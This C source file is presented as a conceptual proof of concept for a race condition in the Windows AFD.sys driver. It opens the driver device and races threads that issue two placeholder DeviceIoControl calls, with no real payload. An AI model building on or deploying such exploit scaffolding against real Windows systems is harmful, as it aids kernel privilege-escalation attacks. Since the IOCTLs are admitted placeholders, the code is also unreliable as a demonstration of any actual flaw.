#include <windows.h>
#include <stdio.h>
// Conceptual PoC for Race Condition in AFD.sys
// This is a simplified example to demonstrate the threading mechanism.
HANDLE hDevice;
// Thread 1: Trigger the vulnerable check operation
DWORD WINAPI TriggerVulnCheck(LPVOID lpParam) {
DWORD bytesReturned;
// Placeholder IOCTL for the vulnerable operation
DeviceIoControl(hDevice, 0x00012000, NULL, 0, NULL, 0, &bytesReturned, NULL);
return 0;
}
// Thread 2: Modify the shared resource state during the race window
DWORD WINAPI ModifyResourceState(LPVOID lpParam) {
// This timing is critical and usually requires synchronization tweaking
Sleep(1); // Attempt to hit the race window
DWORD bytesReturned;
// Placeholder IOCTL for the modification operation
DeviceIoControl(hDevice, 0x00012004, NULL, 0, NULL, 0, &bytesReturned, NULL);
return 0;
}
int main() {
// Open handle to the AFD driver
hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("Spawning threads to trigger race condition...\n");
// Create multiple threads to increase race probability
HANDLE threads[10];
for (int i = 0; i < 5; i++) {
threads[i*2] = CreateThread(NULL, 0, TriggerVulnCheck, NULL, 0, NULL);
threads[i*2+1] = CreateThread(NULL, 0, ModifyResourceState, NULL, 0, NULL);
}
// Wait for threads to finish
WaitForMultipleObjects(10, threads, TRUE, INFINITE);
printf("Exploit attempt finished.\n");
CloseHandle(hDevice);
return 0;
}